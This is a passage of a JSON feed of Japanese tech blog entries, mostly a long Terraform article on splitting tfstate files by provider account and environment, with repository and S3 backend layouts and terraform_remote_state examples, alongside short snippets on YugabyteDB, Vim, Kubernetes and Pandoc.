APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Vimでコマンドライン履歴を遡りやすくする","contentSnippet":"本記事はVim 駅伝7/24の記事です。Vimのコマンドラインで、履歴を遡りたい時、:wとか:qaとかが出てきて煩わしく感じることがあります。正直、これくらいシンプルなExコマンドであれば履歴に残しておく意味すら薄いので、履歴に残さない(or 履歴から消す)といいでしょう。","link":"https://blog.atusy.net/2023/07/24/vim-clean-history/","isoDate":"2023-07-24T00:00:00.000Z","dateMiliSeconds":1690156800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の upstream のキャッチアップ","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","link":"https://zenn.dev/toversus/articles/52b107ab103712","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Pandoc 3でカスタムライターがとてもよくなった","contentSnippet":"様々な文書形式を相互変換するPandocにはカスタムライター・カスタムリーダーという、独自形式の読み書きをサポートする機能があります。Lua言語で記述でき、便利関数も色々と用意されています。","link":"https://blog.atusy.net/2023/07/14/pandoc-3-custom-writer/","isoDate":"2023-07-14T00:00:00.000Z","dateMiliSeconds":1689292800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Native の作法","contentSnippet":"2023年7月13日 \\r\\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\\r\\r\\r開発生産性Conference の登壇資料\\rhttps://findy.connpass.com/event/283417/","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メールが届いたら Google Home で音声で通知する","contentSnippet":"以前、「LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセー","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★で表現)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割しなかった場合分割した方がいい場合分割しない方がいい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、Mitchell Hashimoto です。さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割しなかった場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、他の作業ブランチから影響を受け、terraformコマンドでtargetオプションが必要になってしまいます。他にも、terraformコマンドの完了に時間がかかりすぎるといった問題も起こるかもしれません。単一のtfstateファイルで管理するコンポーネントが多くなるほど、これらの問題は顕著になります。分割した方がいい場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しない方がいい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、\\"tfstateファイルが他のtfstateファイルの状態を使用すること\\" です。もう少し具体的に言語化すると、\\"特定のインフラリソースが他の設定値を参照すること\\" です。状態をほとんど使用し合わない (互いに設定値の参照数が少ない) インフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。▶ 『依存』という用語についてtfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。依存関係がある場合については、後述します。▶ 『依存』の波線矢印について---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。可能であれば、1個のリポジトリに1個のtfstateファイルをおくことが望ましいです。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...▶ ローカルモジュールのディレクトリ構成の設計についてresource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成もし、リモートバックエンドをtfstateファイル分割に基づいて分割しなかったとします。その場合は、代わりにリモートバックエンド内のディレクトリ構成をtfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別dataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存AWSリソース別dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別dataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別dataブロックがあります。これは、tfstateファイルが自身以外 (例:コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。AWSリソース別dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソース別dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてtfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - ★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork▶ おすすめ度について【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー 